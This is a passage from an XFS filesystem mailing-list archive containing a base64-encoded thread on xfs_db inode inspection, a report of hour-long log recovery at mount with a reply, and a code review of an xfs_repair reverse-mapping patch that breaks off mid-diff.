ID0gNDE5NDMwNDwvZGl2PjxkaXY+Y29yZS5uYmxvY2tzID0gMTAyNDwvZGl2PjxkaXY+Y29y ZS5leHRzaXplID0gMDwvZGl2PjxkaXY+Y29yZS5uZXh0ZW50cyA9IDE8L2Rpdj48ZGl2PmNv cmUubmFleHRlbnRzID0gMDwvZGl2PjxkaXY+Y29yZS5mb3Jrb2ZmID0gMDwvZGl2PjxkaXY+ Y29yZS5hZm9ybWF0ID0gMiAoZXh0ZW50cyk8L2Rpdj48ZGl2PmNvcmUuZG1ldm1hc2sgPSAw PC9kaXY+PGRpdj5jb3JlLmRtc3RhdGUgPSAwPC9kaXY+PGRpdj5jb3JlLm5ld3J0Ym0gPSAw PC9kaXY+PGRpdj5jb3JlLnByZWFsbG9jID0gMDwvZGl2PjxkaXY+Y29yZS5yZWFsdGltZSA9 IDA8L2Rpdj48ZGl2PmNvcmUuaW1tdXRhYmxlID0gMDwvZGl2PjxkaXY+Y29yZS5hcHBlbmQg PSAwPC9kaXY+PGRpdj5jb3JlLnN5bmMgPSAwPC9kaXY+PGRpdj5jb3JlLm5vYXRpbWUgPSAw PC9kaXY+PGRpdj5jb3JlLm5vZHVtcCA9IDA8L2Rpdj48ZGl2PmNvcmUucnRpbmhlcml0ID0g MDwvZGl2PjxkaXY+Y29yZS5wcm9qaW5oZXJpdCA9IDA8L2Rpdj48ZGl2PmNvcmUubm9zeW1s aW5rcyA9IDA8L2Rpdj48ZGl2PmNvcmUuZXh0c3ogPSAwPC9kaXY+PGRpdj5jb3JlLmV4dHN6 aW5oZXJpdCA9IDA8L2Rpdj48ZGl2PmNvcmUubm9kZWZyYWcgPSAwPC9kaXY+PGRpdj5jb3Jl LmZpbGVzdHJlYW0gPSAwPC9kaXY+PGRpdj5jb3JlLmdlbiA9IDM3MjI3MzkxNTU8L2Rpdj48 ZGl2Pm5leHRfdW5saW5rZWQgPSBudWxsPC9kaXY+PGRpdj51LmJteFswXSA9IFtzdGFydG9m ZixzdGFydGJsb2NrLGJsb2NrY291bnQsZXh0ZW50ZmxhZ10gMDpbMCw1OTQzMjM1LDEwMjQs MF08L2Rpdj48ZGl2Pjxicj48L2Rpdj48ZGl2PiMgdGFpbCAtZiAvZGF0YS90ZXN0LmRhdGEg JmFtcDs8L2Rpdj48ZGl2PlsxXSAyNzU5ODwvZGl2PjxkaXY+IyB1bmxpbmsgL2RhdGEvdGVz dC5kYXRhJm5ic3A7PC9kaXY+PGRpdj48YnI+PC9kaXY+PGRpdj4jIHhmc19kYiAteHIgLWMg J2lub2RlIDI5NDA5Mjk1JyAtYyBwIC9kZXYvc2RhNDwvZGl2PjxkaXY+Y29yZS5tYWdpYyA9 IDB4NDk0ZTwvZGl2PjxkaXY+Y29yZS5tb2RlID0gMDEwMDY0NDwvZGl2PjxkaXY+Y29yZS52 ZXJzaW9uID0gMjwvZGl2PjxkaXY+Y29yZS5mb3JtYXQgPSAyIChleHRlbnRzKTwvZGl2Pjxk aXY+Y29yZS5ubGlua3YyID0gMTwvZGl2PjxkaXY+Y29yZS5vbmxpbmsgPSAwPC9kaXY+PGRp dj5jb3JlLnByb2ppZF9sbyA9IDA8L2Rpdj48ZGl2PmNvcmUucHJvamlkX2hpID0gMDwvZGl2 PjxkaXY+Y29yZS51aWQgPSAwPC9kaXY+PGRpdj5jb3JlLmdpZCA9IDA8L2Rpdj48ZGl2PmNv cmUuZmx1c2hpdGVyID0gMTI8L2Rpdj48ZGl2PmNvcmUuYXRpbWUuc2VjID0gV2VkIE9jdCAy MSAxNjowNTo0NSAyMDE1PC9kaXY+PGRpdj5jb3JlLmF0aW1lLm5zZWMgPSAyMDE2NzkwMTg8 L2Rpdj48ZGl2PmNvcmUubXRpbWUuc2VjID0gV2VkIE9jdCAyMSAxNjowNTo0NSAyMDE1PC9k aXY+PGRpdj5jb3JlLm10aW1lLm5zZWMgPSAyMDU2NzkwMTg8L2Rpdj48ZGl2PmNvcmUuY3Rp bWUuc2VjID0gV2VkIE9jdCAyMSAxNjowNTo0NSAyMDE1PC9kaXY+PGRpdj5jb3JlLmN0aW1l Lm5zZWMgPSAyMDU2NzkwMTg8L2Rpdj48ZGl2PmNvcmUuc2l6ZSA9IDQxOTQzMDQ8L2Rpdj48 ZGl2PmNvcmUubmJsb2NrcyA9IDEwMjQ8L2Rpdj48ZGl2PmNvcmUuZXh0c2l6ZSA9IDA8L2Rp dj48ZGl2PmNvcmUubmV4dGVudHMgPSAxPC9kaXY+PGRpdj5jb3JlLm5hZXh0ZW50cyA9IDA8 L2Rpdj48ZGl2PmNvcmUuZm9ya29mZiA9IDA8L2Rpdj48ZGl2PmNvcmUuYWZvcm1hdCA9IDIg KGV4dGVudHMpPC9kaXY+PGRpdj5jb3JlLmRtZXZtYXNrID0gMDwvZGl2PjxkaXY+Y29yZS5k bXN0YXRlID0gMDwvZGl2PjxkaXY+Y29yZS5uZXdydGJtID0gMDwvZGl2PjxkaXY+Y29yZS5w cmVhbGxvYyA9IDA8L2Rpdj48ZGl2PmNvcmUucmVhbHRpbWUgPSAwPC9kaXY+PGRpdj5jb3Jl LmltbXV0YWJsZSA9IDA8L2Rpdj48ZGl2PmNvcmUuYXBwZW5kID0gMDwvZGl2PjxkaXY+Y29y ZS5zeW5jID0gMDwvZGl2PjxkaXY+Y29yZS5ub2F0aW1lID0gMDwvZGl2PjxkaXY+Y29yZS5u b2R1bXAgPSAwPC9kaXY+PGRpdj5jb3JlLnJ0aW5oZXJpdCA9IDA8L2Rpdj48ZGl2PmNvcmUu cHJvamluaGVyaXQgPSAwPC9kaXY+PGRpdj5jb3JlLm5vc3ltbGlua3MgPSAwPC9kaXY+PGRp dj5jb3JlLmV4dHN6ID0gMDwvZGl2PjxkaXY+Y29yZS5leHRzemluaGVyaXQgPSAwPC9kaXY+ PGRpdj5jb3JlLm5vZGVmcmFnID0gMDwvZGl2PjxkaXY+Y29yZS5maWxlc3RyZWFtID0gMDwv ZGl2PjxkaXY+Y29yZS5nZW4gPSAzNzIyNzM5MTU1PC9kaXY+PGRpdj5uZXh0X3VubGlua2Vk ID0gbnVsbDwvZGl2PjxkaXY+dS5ibXhbMF0gPSBbc3RhcnRvZmYsc3RhcnRibG9jayxibG9j a2NvdW50LGV4dGVudGZsYWddIDA6WzAsNTk0MzIzNSwxMDI0LDBdPC9kaXY+PGRpdj48YnI+ PC9kaXY+PC9zcGFuPjwvZGl2PjxkaXY+QXMgd2UgY2FuIHNlZSwmbmJzcDs8c3BhbiBzdHls ZT0ibGluZS1oZWlnaHQ6IDEuNTsiPmNvcmUubmxpbmt2MiBpcyBzdGlsbCAiMSIgYWZ0ZXIg SSB1bmxpbmsgL2RhdGEvdGVzdC5kYXRhLjwvc3Bhbj48L2Rpdj48ZGl2PjxzcGFuIHN0eWxl PSJsaW5lLWhlaWdodDogMS41OyI+PGJyPjwvc3Bhbj48L2Rpdj48ZGl2PjxzcGFuIHN0eWxl PSJsaW5lLWhlaWdodDogMS41OyI+VGhhbmtzLDwvc3Bhbj48L2Rpdj48ZGl2PjxzcGFuIHN0 eWxlPSJsaW5lLWhlaWdodDogMS41OyI+WWU8L3NwYW4+PC9kaXY+PGRpdj48c3BhbiBzdHls ZT0ibGluZS1oZWlnaHQ6IDEuNTsiPjxicj48L3NwYW4+PC9kaXY+PGRpdiBzdHlsZT0iZm9u dC1zaXplOiAxMnB4O2ZvbnQtZmFtaWx5OiBBcmlhbCBOYXJyb3c7cGFkZGluZzoycHggMCAy cHggMDsiPi0tLS0tLS0tLS0tLS0tLS0tLSZuYnNwO09yaWdpbmFsJm5ic3A7LS0tLS0tLS0t LS0tLS0tLS0tPC9kaXY+PGRpdiBzdHlsZT0iZm9udC1zaXplOiAxMnB4O2JhY2tncm91bmQ6 I2VmZWZlZjtwYWRkaW5nOjhweDsiPjxkaXY+PGI+RnJvbTogPC9iPiZuYnNwOyJEYXZlIENo aW5uZXIiOyZsdDtkYXZpZEBmcm9tb3JiaXQuY29tJmd0Ozs8L2Rpdj48ZGl2PjxiPkRhdGU6 IDwvYj4mbmJzcDtXZWQsIE9jdCAyMSwgMjAxNSAwMzoxMyBQTTwvZGl2PjxkaXY+PGI+VG86 IDwvYj4mbmJzcDsiWWVZaW4iJmx0O2V5bml5QHFxLmNvbSZndDs7IDx3YnI+PC9kaXY+PGRp dj48Yj5DYzogPC9iPiZuYnNwOyJFcmljIFNhbmRlZW4iJmx0O3NhbmRlZW5Ac2FuZGVlbi5u ZXQmZ3Q7OyAieGZzIiZsdDt4ZnNAb3NzLnNnaS5jb20mZ3Q7OyA8d2JyPjwvZGl2PjxkaXY+ PGI+U3ViamVjdDogPC9iPiZuYnNwO1JlOiBkdSByZXN1bHQgaXMgc21hbGxlciB0aGFuIHhm c19xdW90YSByZXBvcnQ8L2Rpdj48L2Rpdj48ZGl2Pjxicj48L2Rpdj5PbiBXZWQsIE9jdCAy MSwgMjAxNSBhdCAwMjozNzowNFBNICswODAwLCBZZVlpbiB3cm90ZTo8YnI+Jmd0OyAmZ3Q7 IElzIGFueXRoaW5nIG1vdW50ZWQgdW5kZXIgdGhhdCBkaXJlY3RvcnkgaGllcmFyY2h5LCBh bmQgaGlkaW5nIGZpbGVzIGZyb20gZHUncyB2aWV3Pzxicj4mZ3Q7IDxicj4mZ3Q7IDxicj4m Z3Q7IE5vLCBUaGFua3MuIEkgZm91bmQgc29tZSB1bmxpbmtlZCBpbm9kZXMsIGJ1dCBJIGNh bid0IGdldCBzb21lIHVzZWZ1bCBpbmZvcm1hdGlvbjo8YnI+Jmd0OyA8YnI+Jmd0OyA8YnI+ Jmd0OyAjIHhmc19kYiAteHIgLWMgJ2FnaSAxJyAtYyBwIC9kZXYvc2RhNCZuYnNwOyA8YnI+ Li4uLjxicj4mZ3Q7IHVubGlua2VkWzAtNjNdID0gMDo3ODI3MiAuLi4uPGJyPjxicj4mZ3Q7 ICMgeGZzX2RiIC14ciAtYyAnaW5vZGUgNzgyNzInIC1jIHAgL2Rldi9zZGE0PGJyPjxicj5U aGF0J3MgYmVjYXVzZSA3ODI3MiBpc24ndCBhbiByZWFsIGlub2RlIG51bWJlci4gSXQncyBh IEFHIHJlbGF0aXZlPGJyPmlub2RlIG51bWJlciAoImFnaW5vIikgb2YgNzgyNzIuIFRoZSBn bG9iYWwgaW5vZGUgbnVtYmVyIGZvbGRzIGluPGJyPnRoZSBBRyBudW1iZXIgdG8gaXQsIGFu ZCB0aGlzIGlzIGZyb20gQUcgMS4gU286PGJyPjxicj54ZnNfZGImZ3Q7IGNvbnZlcnQgYWdu byAxIGFnaW5vIDc4MjcyIGlubzxicj4mbHQ7aW51bSZndDs8YnI+eGZzX2RiJmd0OyBpbm9k ZSAmbHQ7aW51bSZndDs8YnI+eGZzX2RiJmd0OyBwPGJyPi4uLi48YnI+PGJyPkNoZWVycyw8 YnI+PGJyPkRhdmUuPGJyPi0tIDxicj5EYXZlIENoaW5uZXI8YnI+ZGF2aWRAZnJvbW9yYml0 LmNvbTxicj48L2Rpdj4= ------=_NextPart_56274830_09A00FF0_4D1EC2C6-- From arekm@maven.pl Wed Oct 21 04:28:03 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6629329DF5 for ; Wed, 21 Oct 2015 04:28:03 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id F2D84AC001 for ; Wed, 21 Oct 2015 02:27:59 -0700 (PDT) X-ASG-Debug-ID: 1445419675-04bdf06db214ba50001-NocioJ Received: from mail-wi0-f172.google.com (mail-wi0-f172.google.com [209.85.212.172]) by cuda.sgi.com with ESMTP id QhKAYN0SzSLiivPN (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Wed, 21 Oct 2015 02:27:56 -0700 (PDT) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 209.85.212.172 Received: by wicll6 with SMTP id ll6so65125486wic.1 for ; Wed, 21 Oct 2015 02:27:54 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:mime-version:content-type :content-transfer-encoding:message-id; bh=nLU9HnEWazTcVPZY3UfN0upBrfbcFum8c1a3xBzueCs=; b=VgHspikPJc+1ue2hJ2gJROYBPypi4Lu1IEqQhOb41cq3mWg2Oshw23bvbqRlN7E4cS xCIPV/ER2GYEpUrH6rJnjHbdF2zEB9xt6+oT1rkYasJFlrMNHqSliKO/pN08Q/ExpSmN Ox39qdID52MKtq1rKX1rI+nVODbV+wgn7cW+o= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:subject:date:user-agent:mime-version :content-type:content-transfer-encoding:message-id; bh=nLU9HnEWazTcVPZY3UfN0upBrfbcFum8c1a3xBzueCs=; b=TdQd8YyAi3igAnI7K3cp50owPgY5vWRtt0bvVEl/fTgbZRPkLp9Km4xCSwwQdVSBdT Xq9d2Pg3Gvj+/F0ZF6mcuW2963wM/1zuYMGq4JkIlm0+ZVXLVfQXTEqPerr5ynLXAN1Y qqNSUM1yPaTK/Ab6mjnIoZoBn4T5kyr3Fp1IH6q/toYiKY92Irx0fSHvDnK++oSfBjDg r7/8RNzHKfcaOYhMgQqW5zwA5xKRWyUaMJClaC2y6eKsXJtcWgEAxOHOF1NARGWweOcO yIHGAeuKn90ChHK0MJicKDzd2mZ4UlWUNquW3dBcGqCUpL0ymp5WM2uGuRtKxnC1/Lk/ IaYQ== X-Gm-Message-State: ALoCoQmPvYJ8c23mxJXeHK6d9dD/n4Uqn9w/dUHm9zWdjyLJSNPzx47SmP4iQNlngNeV0nmtkjAZ X-Received: by 10.180.72.48 with SMTP id a16mr791744wiv.39.1445419674741; Wed, 21 Oct 2015 02:27:54 -0700 (PDT) Received: from xps.localnet ([91.234.176.242]) by smtp.gmail.com with ESMTPSA id v9sm9130935wjv.45.2015.10.21.02.27.53 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 21 Oct 2015 02:27:54 -0700 (PDT) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= To: xfs Subject: very long log recovery at mount Date: Wed, 21 Oct 2015 11:27:52 +0200 X-ASG-Orig-Subj: very long log recovery at mount User-Agent: KMail/1.13.7 (Linux/4.3.0-rc6-00105-g1099f86; KDE/4.14.12; x86_64; ; ) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201510211127.52794.arekm@maven.pl> X-Barracuda-Connect: mail-wi0-f172.google.com[209.85.212.172] X-Barracuda-Start-Time: 1445419675 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23682 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi. I got such situation, fresh boot, 4.1.10 kernel, init scripts start mountin= g=20 filesystems. One fs wasn't very lucky: [ 15.979538] XFS (md3): Mounting V4 Filesystem [ 16.256316] XFS (md3): Ending clean mount [ 28.343346] XFS (md4): Mounting V4 Filesystem [ 28.629918] XFS (md4): Ending clean mount [ 28.662125] XFS (md5): Mounting V4 Filesystem [ 28.980142] XFS (md5): Ending clean mount [ 29.049421] XFS (md6): Mounting V4 Filesystem [ 29.447725] XFS (md6): Starting recovery (logdev: internal) [ 4517.327332] XFS (md6): Ending recovery (logdev: internal) It took over 1h to mount md6 filesystem. Questions: =2D is it possible to log how much data is needed to be recovered from log?= Some=20 data that would give a hint on how big this is (and thus rough estimate on = how=20 long it will take). Not sure if that's known at time when this message is=20 being printed. XFS (md6): Starting recovery (logdev: internal, to recover: xyzMB (?)) =2D now such long mount time is almost insane, so I wonder why could be the= =20 reason. Is the process multithreaded, single threaded? cpus were idle =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / ( maven.pl | pld-linux.org ) From mlsemon35@gmail.com Wed Oct 21 13:40:05 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DF9D729DF5 for ; Wed, 21 Oct 2015 13:40:05 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A7CD4304067 for ; Wed, 21 Oct 2015 11:40:05 -0700 (PDT) X-ASG-Debug-ID: 1445452803-04bdf06db3160cf0001-NocioJ Received: from mail-yk0-f173.google.com (mail-yk0-f173.google.com [209.85.160.173]) by cuda.sgi.com with ESMTP id VeYeCjvX2zbZEb2b (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Wed, 21 Oct 2015 11:40:04 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.160.173 Received: by ykaz22 with SMTP id z22so59091605yka.2 for ; Wed, 21 Oct 2015 11:40:03 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:to:references:from:message-id:date:user-agent:mime-version :in-reply-to:content-type:content-transfer-encoding; bh=nLTuqjY148Mbh3XhUSnbLx3kziHOlklDRghGbn1wRTo=; b=XFfW8OtO3ny8Mc1DEgW27vhtQYL/BY7kRkyxjQdt6ZBv+8y7mQXjj6hlNWReEZkhqj 2OGlGigLMYSpkEfTBTNCL5JYUUVm7Zci7mOMRGZ7Wh33bq7SLyYviJtEo1VegLM4hJ0l cmbIE499jMD3OLZEUjvNykC0CNQDr2kNivVq7ifjBSJKCImjntTnhmFLLsAWbvWq6g1c W21Bm08azGzBiuQAi9ATGDDGzA7+3HdPbX9AvjZWqpV5e6FIT0UM3ySmfGTsKJgPF+bU wgaXbs0wzn0vBuwOnZn5ksEM4p3HM08wOihaCZzWJoYHR5oVxuWpuLYQZSxnqMinAPeK ducw== X-Received: by 10.129.46.216 with SMTP id u207mr7797972ywu.125.1445452803225; Wed, 21 Oct 2015 11:40:03 -0700 (PDT) Received: from yholen.ds (rrcs-97-76-23-49.se.biz.rr.com. [97.76.23.49]) by smtp.googlemail.com with ESMTPSA id j23sm6775733ywb.10.2015.10.21.11.40.02 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 21 Oct 2015 11:40:02 -0700 (PDT) Subject: Re: very long log recovery at mount To: =?UTF-8?Q?Arkadiusz_Mi=c5=9bkiewicz?= , xfs X-ASG-Orig-Subj: Re: very long log recovery at mount References: <201510211127.52794.arekm@maven.pl> From: "Michael L. Semon" Message-ID: <5627DBDD.3060702@gmail.com> Date: Wed, 21 Oct 2015 14:39:25 -0400 User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <201510211127.52794.arekm@maven.pl> Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mail-yk0-f173.google.com[209.85.160.173] X-Barracuda-Start-Time: 1445452803 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23694 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 10/21/15 05:27, Arkadiusz MiÅ›kiewicz wrote: > > Hi. > > I got such situation, fresh boot, 4.1.10 kernel, init scripts start mounting > filesystems. One fs wasn't very lucky: > > [ 15.979538] XFS (md3): Mounting V4 Filesystem > [ 16.256316] XFS (md3): Ending clean mount > [ 28.343346] XFS (md4): Mounting V4 Filesystem > [ 28.629918] XFS (md4): Ending clean mount > [ 28.662125] XFS (md5): Mounting V4 Filesystem > [ 28.980142] XFS (md5): Ending clean mount > [ 29.049421] XFS (md6): Mounting V4 Filesystem > [ 29.447725] XFS (md6): Starting recovery (logdev: internal) > [ 4517.327332] XFS (md6): Ending recovery (logdev: internal) > > It took over 1h to mount md6 filesystem. > > Questions: > - is it possible to log how much data is needed to be recovered from log? Some > data that would give a hint on how big this is (and thus rough estimate on how > long it will take). Not sure if that's known at time when this message is > being printed. > > XFS (md6): Starting recovery (logdev: internal, to recover: xyzMB (?)) > > - now such long mount time is almost insane, so I wonder why could be the > reason. Is the process multithreaded, single threaded? cpus were idle > My old PC used to suffer from intermittently long mount times, and I wrote a one-character patch to fix that issue: http://oss.sgi.com/archives/xfs/2015-01/msg00183.html I'm putting it out there only to ask the list if wrapped-log handling could be the issue here. Don't try the patch without good reason: I've tested it only as late as kernel 3.18.22, on 32-bit Linux with MBR and GPT partitions, not much of a test matrix. Thanks! Michael From darrick.wong@oracle.com Wed Oct 21 16:08:47 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5BDBA29DF5 for ; Wed, 21 Oct 2015 16:08:47 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 08713AC001 for ; Wed, 21 Oct 2015 14:08:43 -0700 (PDT) X-ASG-Debug-ID: 1445461721-04bdf06db3164fa0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id vvJ5covx4uNythiu (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 21 Oct 2015 14:08:42 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9LL8afr016140 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Oct 2015 21:08:36 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9LL8Z3r010486 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 21 Oct 2015 21:08:35 GMT Received: from abhmp0015.oracle.com (abhmp0015.oracle.com [141.146.116.21]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9LL8ZlS010903; Wed, 21 Oct 2015 21:08:35 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 21 Oct 2015 14:08:35 -0700 Date: Wed, 21 Oct 2015 14:08:34 -0700 From: "Darrick J. Wong" To: david@fromorbit.com Cc: xfs@oss.sgi.com Subject: Re: [PATCH 32/51] xfs_repair: add fixed-location per-AG rmaps Message-ID: <20151021210834.GL10397@birch.djwong.org> X-ASG-Orig-Subj: Re: [PATCH 32/51] xfs_repair: add fixed-location per-AG rmaps References: <20151007050513.1504.28089.stgit@birch.djwong.org> <20151007050838.1504.57156.stgit@birch.djwong.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151007050838.1504.57156.stgit@birch.djwong.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1445461722 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23697 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Tue, Oct 06, 2015 at 10:08:38PM -0700, Darrick J. Wong wrote: > Add reverse-mappings for fixed-location per-AG metadata such as inode > chunks, superblocks, and the log to the raw rmap list, then merge the > raw rmap data (which also has the BMBT data) into the main rmap list. > > Signed-off-by: Darrick J. Wong > --- > repair/phase4.c | 41 +++++++++++++++++++++++++++++++++++++++++ > repair/rmap.c | 51 +++++++++++++++++++++++++++++++++++++++++++++++++++ > repair/rmap.h | 2 ++ > 3 files changed, 94 insertions(+) > > > diff --git a/repair/phase4.c b/repair/phase4.c > index bc43cd8..cbdb92e 100644 > --- a/repair/phase4.c > +++ b/repair/phase4.c > @@ -157,6 +157,40 @@ process_ags( > do_inode_prefetch(mp, ag_stride, process_ag_func, true, false); > } > > +static void > +check_rmap_btrees( > + work_queue_t *wq, > + xfs_agnumber_t agno, > + void *arg) > +{ > + int error; > + > + error = add_fixed_ag_rmap_data(wq->mp, agno); > + if (error) > + do_error( > +_("unable to add AG %u metadata reverse-mapping data.\n"), agno); > + > + error = fold_raw_rmaps(wq->mp, agno); > + if (error) > + do_error( > +_("unable to merge AG %u metadata reverse-mapping data.\n"), agno); > +} > + > +static void > +process_rmap_data( > + struct xfs_mount *mp) > +{ > + struct work_queue wq; > + xfs_agnumber_t i; > + > + if (!needs_rmap_work(mp)) > + return; > + > + create_work_queue(&wq, mp, libxfs_nproc()); > + for (i = 0; i < mp->m_sb.sb_agcount; i++) > + queue_work(&wq, check_rmap_btrees, i, NULL); > + destroy_work_queue(&wq); > +} > > void > phase4(xfs_mount_t *mp) > @@ -306,6 +340,13 @@ phase4(xfs_mount_t *mp) > * already in phase 3. > */ > process_ags(mp); > + > + /* > + * Process all the reverse-mapping data that we collected. This > + * involves checking the rmap data against the btree. > + */ > + process_rmap_data(mp); > + > print_final_rpt(); > > /* > diff --git a/repair/rmap.c b/repair/rmap.c > index 40bdae3..a5ea685 100644 > --- a/repair/rmap.c > +++ b/repair/rmap.c > @@ -344,6 +344,57 @@ err: > return error; > } > > +/** > + * add_fixed_ag_rmap_data() - Add fixed per-AG metadata to the rmap list. > + * This includes sb/agi/agf/agfl headers, inode > + * chunks, and the log. > + * > + * @mp: XFS mountpoint. > + * @agno: AG number. > + */ > +int > +add_fixed_ag_rmap_data( > + struct xfs_mount *mp, > + xfs_agnumber_t agno) > +{ > + xfs_fsblock_t fsbno; > + xfs_agblock_t agbno; > + ino_tree_node_t *ino_rec; > + int error; > + > + if (!needs_rmap_work(mp)) > + return 0; > + > + /* sb/agi/agf/agfl headers */ > + error = add_ag_rmap(mp, agno, 0, XFS_BNO_BLOCK(mp), > + XFS_RMAP_OWN_FS); > + if (error) > + goto out; > + > + /* inodes */ > + ino_rec = findfirst_inode_rec(agno); > + for (; ino_rec != NULL; ino_rec = next_ino_rec(ino_rec)) { > + agbno = XFS_AGINO_TO_AGBNO(mp, ino_rec->ino_startnum); > + error = add_ag_rmap(mp, agno, agbno, > + 64 / mp->m_sb.sb_inopblock, /* XXX */ This won't work with sparse inode support turned on, because inode chunks can be shorter than 64 inodes. Assuming ir_holemask is accurate, it shouldn't be difficult to make this emit the correct records. Fixed now. --D > + XFS_RMAP_OWN_INODES); > + if (error) > + goto out; > + } > + > + /* log */ > + fsbno = mp->m_sb.sb_logstart; > + if (fsbno && XFS_FSB_TO_AGNO(mp, fsbno) == agno) { > 